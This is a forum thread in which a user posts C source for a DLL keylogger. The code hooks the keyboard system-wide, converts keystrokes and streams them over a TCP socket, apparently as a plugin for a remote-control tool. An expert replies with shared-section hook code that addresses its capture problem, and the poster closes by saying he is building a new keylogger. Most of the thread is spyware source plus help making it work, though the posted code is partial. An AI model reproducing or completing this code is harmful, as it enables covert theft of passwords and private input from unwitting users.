SetWindowsHook Problem ?

Here is part of my program which is inside a DLL. The code is supposed to keylog all messages and send to a connected socket. However, it does not work for all keystrokes, only those associated with a process which has called a different context of the DLL ! (for some reason???) (see below for explanation)

Not all of the CODE, but general gist:

SOCKET          nsock;
HINSTANCE      hginstance, hracpapi;
HANDLE            hthread;
DWORD            exitcode, tid;

LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)
{
      if (code == HC_ACTION) {
short keystate = GetKeyState((int)wParam);
if ((HIBYTE(keystate) & 128) == 128) {
HWND      hwnd = FindWindow(NULL, "RACPLOGWND");            
      if (hwnd != NULL) // send to invisible window !            SendMessage(hwnd, 12345, wParam, lParam);
            }
      }
      else {                
            if (code < 0)
                   return CallNextHookEx(hook, code, wParam, lParam);
      }
      return 0;
}

LRESULT CALLBACK logwndproc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
      switch (umsg) {
            case 12345:  // key data - we have a key press - send key to socket
                  int            scan, virt;
                  virt = (int)wparam;
                  scan = MapVirtualKey(virt, 0);
                  scan <= 16;
                  BYTE      kbuf[256];
                  WORD      ch;
                  int            chcount;
                  
                  GetKeyboardState(kbuf);
                  chcount = ToAscii(virt, scan, kbuf, &ch, 0);
                  if (virt == VK_RETURN) {
                        if ((send(nsock, (char *)"\n\r", 2, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  else {
                        if ((send(nsock, (char *)&ch, chcount, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  break;       
            case WM_CLOSE:
            case WM_DESTROY:
            case WM_ENDSESSION:
            case WM_QUIT:
            case WM_QUERYENDSESSION:
                  PostQuitMessage(0);
                  break;
      }      
      return DefWindowProc(hwnd, umsg, wparam, lparam);
}

void keylogthread(void *arg)
{
      WNDCLASS      wndclass = {0};
      MSG                  msg;
      WSADATA            wsadata;
      DWORD            addr = 0;
      struct            sockaddr_in sa;
      struct            _plpacket      plpacket;
      SOCKET            sock;
      int                  len = sizeof(sa);

      WSAStartup(0x0101, &wsadata);

      sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      memcpy(&sa.sin_addr, &addr, 4);
      sa.sin_port = htons(12345);
      sa.sin_family = PF_INET;
      if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR)
            return; // can't bind
      listen(sock, 5);
      plpacket.msg = CLID_PLUGIN;
      strcpy(plpacket.pl_execute, funcname);
      plpacket.udata = 1;
      (*senddata)(srvsock, sizeof(plpacket), (char *)&plpacket);
      nsock = accept(sock, (struct sockaddr *)&sa, &len);
      wndclass.style = 0;                                                                                    
      wndclass.lpfnWndProc = (WNDPROC)logwndproc;
      wndclass.hInstance = hginstance;
      wndclass.hIcon = NULL;
      wndclass.hCursor = NULL;
      wndclass.hbrBackground = NULL;
      wndclass.lpszMenuName = NULL;
      wndclass.lpszClassName = "RACPLOGCLASS";
      RegisterClass(&wndclass);
      hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)keyproc, hginstance, 0);
      if (hook == NULL) {
            send(nsock, (char *)"Error ! Can't HOOK Keyboard!", 28, 0);
            return;
      }
      hwnd = CreateWindow("RACPLOGCLASS", "RACPLOGWND", 0, 0, 0, 0, 0, NULL, NULL, hginstance, NULL);
      if (hwnd == NULL) {
            send(nsock, (char *)"Error ! Can't Create Window!", 28, 0);
            UnhookWindowsHookEx(hook);
            closesocket(nsock);
            return;
      }
      while (GetMessage(&msg, hwnd, 0, 0))
            DispatchMessage(&msg);
      UnhookWindowsHookEx(hook);
}

The way it works is as follows:
When DLL_PROCESS_ATTACH occurs, instance is copied into global hginstance. Then, a listening socket is created and waits for a connection. When connected, set's up an invisible window whose job is to receive a 12345 message from the keyboard hook procedure. This message contains data about the key-press information recorded by the hook procedure.

As i said, it only records key-strokes from a specifc app which has called the DLL, but in a totally different context ! However, on any other app e.g. notepad, it is really slow typing and the hook proc does not receive any messages ? Is there something wrong with the Calling of the hook ? Please Help, Thanx,
Afzal.

afzaljAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

jkrCommented:
Do you use the DLL's instance handle and a thread id set to 0 in your call to 'SetWindowsHookEx()'?
0
afzaljAuthor Commented:
Yep
0
afzaljAuthor Commented:
The DLL instance handle is the same as the calling process instance handle, no ?
0
Cloud Class® Course: Python 3 Fundamentals

This course will teach participants about installing and configuring Python, syntax, importing, statements, types, strings, booleans, files, lists, tuples, comprehensions, functions, and classes.

jkrCommented:
>>The DLL instance handle is the same as the calling
>>process instance handle

Not at all! It's the handle obtained by the call to 'LoadLibrary()'.

That's what I do (inside the DLL!):

#pragma data_seg( ".shared")
HHOOK       g_hhk   =   NULL;
#pragma data_seg()
#pragma comment ( linker, "/section:.shared,rws")

HINSTANCE   g_hThisDll;

int APIENTRY    DllMain (   HINSTANCE   hInstance,
                            DWORD       dwReason,
                            LPVOID      lpReserved
                        )
{
    if  (   dwReason    ==  DLL_PROCESS_ATTACH)
        {
            g_hThisDll  =   hInstance;

            return  (   DisableThreadLibraryCalls   (   g_hThisDll));
        }

    return( TRUE);
}


LONG __DYNLINK HookInit ()
{
    if  (   g_hhk)  return  (   ERROR_ALREADY_EXISTS);

    g_hhk   =   SetWindowsHookEx    (   WH_GETMESSAGE,
                                        ( HOOKPROC) HookProc,
                                        g_hThisDll,
                                        0
                                    );

    return  (   0);
}

LONG __DYNLINK HookTerm ( void)
{
    UnhookWindowsHookEx (   g_hhk);

    return  (   0);
}


0
jkrCommented:
Well, did it help?
0
jkrCommented:
Are you still working on this?
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
afzaljAuthor Commented:
Nope, making a new keylogger altogther. Thanx, u can have points.
0
jkrCommented:
Thank you!
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Microsoft Development

From novice to tech pro — start learning today.